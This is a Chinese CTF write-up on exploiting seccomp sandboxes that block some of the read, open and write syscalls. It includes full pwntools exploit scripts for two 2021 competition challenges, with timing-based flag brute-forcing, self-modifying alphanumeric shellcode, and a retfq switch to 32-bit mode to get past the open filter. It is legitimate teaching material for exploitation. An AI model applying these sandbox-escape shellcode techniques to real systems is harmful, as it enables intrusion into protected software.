orw_incomplete(不完整的ORW) 标准orw就是read,open,write,但是可能有时候其中的r,o,w也会被禁用
OR 缺 W 例:2021-蓝帽杯初赛-slient
这里需要root权限才能检查sandbox,普通权限无法检查
只允许read,open,没有write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2 .html) // 1. SYNOPSIS void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); /* 2. DESCRIPTION mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping (which must be greater than 0 ). If addr is NULL, then the kernel chooses the (page-aligned) address at which to create the mapping; this is the most portable method of creating a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) and attempt to create the mapping there. If another mapping already exists there, the kernel picks a new address that may or may not depend on the hint. The address of the new mapping is returned as the result of the call. ...... */
利用 mmap 函数在 0x10000 处开辟一个 page 的空间, 往 &buf 中读入 0x40 字节数据, 然后执行这段数据
由 on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
通过命令cat /proc/sys/vm/mmap_min_addr 可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间
直接gdb调试也可以看到:
没有打印出flag,因此想到是爆破比对。首先同样是利用open/read将flag读取到固定内存位置,然后利用cmp指令在可见字符范围内([0x20, 0x7E])进行比对,如果相同则进入死循环,通过recv超时来判断是否成功,否则程序执行0x60的系统调用然后退出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *context(os="linux" , arch="amd64" ) map_addr = 0x10000 flag_addr = 0x10100 def cmp_flag_by_byte (p, offset, ch ): p.recvuntil("Welcome to silent execution-box.\n" ) code = asm( """ push 0x67616c66 mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall xor eax, eax push 3 pop rdi push 0x50 pop rdx mov rsi, 0x10100 syscall mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl, dl jz loop xor edi, edi push SYS_exit pop rax syscall loop: jmp loop """ .format (offset, ch) ) p.send(code) def pwn (): flag = "" for offset in range (0x20 ): for ch in range (0x20 , 0x7E +1 ): p = process("./chall" ) try : cmp_flag_by_byte(p, offset, ch) p.recv(timeout=1 ) flag += chr (ch) print ("find one byte in flag :" , flag) p.close() break except : p.close() print ("all done: flag is ==>" +flag) if __name__ == "__main__" : pwn()
RW缺O 参考:shellcode 的艺术 - 先知社区 (aliyun.com)
禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 from pwn import *context.log_level = 'debug' p = process('./shellcode' ) p.recvuntil("shellcode: " ) append_x86 = ''' push ebx pop ebx ''' shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax ''' shellcode_flag = ''' push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall /*write(1,buf,0x70)*/ mov rdi,1 mov rax,1 syscall ''' shellcode_x86 = asm(shellcode_x86) shellcode_flag = asm(shellcode_flag,arch = 'amd64' ,os = 'linux' ) shellcode = '' append = ''' push rdx pop rdx ''' shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8 push rax /*set r9*/ pop r9 /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl push 0x22 /*set rcx*/ pop rcx push 0x40/*set rax*/ pop rax xor al,0x49 ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 ''' shellcode_retfq = ''' push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''' shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append shellcode += shellcode_retfq shellcode += append shellcode = asm(shellcode,arch = 'amd64' ,os = 'linux' ) print hex (len (shellcode))p.sendline(shellcode) pause() p.sendline(shellcode_x86 + 0x29 *'\x90' + shellcode_flag) p.interactive()
R缺OW 例题: 2021-强网杯-初赛-shellcode 上述两者的融合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 from pwn import *import timeappend_x86 = ''' push ebx pop ebx ''' append = ''' push rdx pop rdx ''' shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 /* s = "flag" */ push 0x67616c66 /* ebx = &s */ push esp pop ebx /* ecx = 0 */ xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax ''' shellcode_x86 = asm(shellcode_x86) shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8 push rax /*set r9*/ pop r9 /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl push 0x22 /*set rcx*/ pop rcx push 0x40/*set rax*/ pop rax xor al,0x49 ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 /*set rsi*/ pop rsi push 0x40 /*set rdi*/ pop rax xor al,0x40 push rax pop rdi xor al,0x40 /*set rdx*/ push 0x70 pop rdx /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx /*set rax*/ pop rax xor al,0x70 ''' shellcode_retfq = ''' /*mode_64 -> mode_32*/ push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''' def pwn (p, index, ch ): shellcode = '' shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append shellcode += shellcode_retfq shellcode += append shellcode = asm(shellcode,arch = 'amd64' ,os = 'linux' ) p.sendline(shellcode) time.sleep(0.05 ) shellcode_flag =""" push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall loop: cmp byte ptr[rsi+{0}], {1} jz loop ret """ .format (index, ch) shellcode_flag = asm(shellcode_flag,arch = 'amd64' ,os = 'linux' ) p.sendline(shellcode_x86 + 0x29 *'\x90' + shellcode_flag) flag = "" index = 0 last = 'a' while True : update = False for ch in range (32 ,127 ): sh = process("./shellcode" ) pwn(sh, index, ch) start = time.time() try : sh.recv(timeout=2 ) except : pass end = time.time() sh.close() if (end-start > 1.5 ): flag += chr (ch) last = chr (ch) update = True print ("[ flag + 1 !!! ] " + flag) break assert (update == True ) if (last == '}' ): break index += 1 print ("flag: " + flag)